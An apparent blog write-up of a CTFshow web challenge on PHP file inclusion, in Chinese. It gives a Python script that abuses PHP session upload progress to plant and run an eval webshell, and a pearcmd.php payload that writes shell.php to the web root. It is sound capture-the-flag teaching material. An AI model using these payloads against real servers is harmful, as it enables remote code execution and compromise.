CTFshow元旦水友赛-web-easy include

   显然这是一道文件包含的题目。其中有一个waf,过滤了’.’,post的开头必须是a-z之间的字母。

其他方法都不太行,因为过滤了’.’且固定了file://的形式。

这道题有两个方法,分别是session文件包含和pear文件包含。


  • 一、session文件包含

session文件包含其实就是客户端构造一个POST请求,同时数据包包含参数"PHP_SESSION_UPLOAD_PROGRESS",该参数会被短暂地包含进一个临时的session文件下,为session文件命名、上传后进行包含,就能执行文件中的内容。

直接上python脚本。

import requests

url="https://5f14ee60-a833-470e-a99e-2ede9df8e938.challenge.ctf.show/"

data={

    'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[2]);?>',

    '1':'localhost/tmp/sess_xiaokai',

    '2':'system("cat /f*");'

}

files={

    'file':'xiaokai'

}

cookies={

    'PHPSESSID':'xiaokai'

}

response=requests.post(url=url,data=data,files=files,cookies=cookies)

print(response.text)

本题不需要条件竞争,有关条件竞争的可以看p神的博客:

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html


  • 二、pear文件包含

有关pear文件包含详情也可以看p神的博客。

构造payload:

https://706f52b0-cbb4-43b1-b10f-e881ab5ef0f4.challenge.ctf.show/?+config-create+/&/<?=eval($_POST[2]);?>+/var/www/html/shell.php

POST:1=localhost/usr/local/lib/php/pearcmd.php

这里的’.’本应该是被过滤的,但是不知道为什么就是可以被包含。有哪位懂的大佬可以评论区教我一下~

然后用bp抓以上payload的数据包。

这里显示shell.php被成功写入

直接利用

拿下flag!

  • 9
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值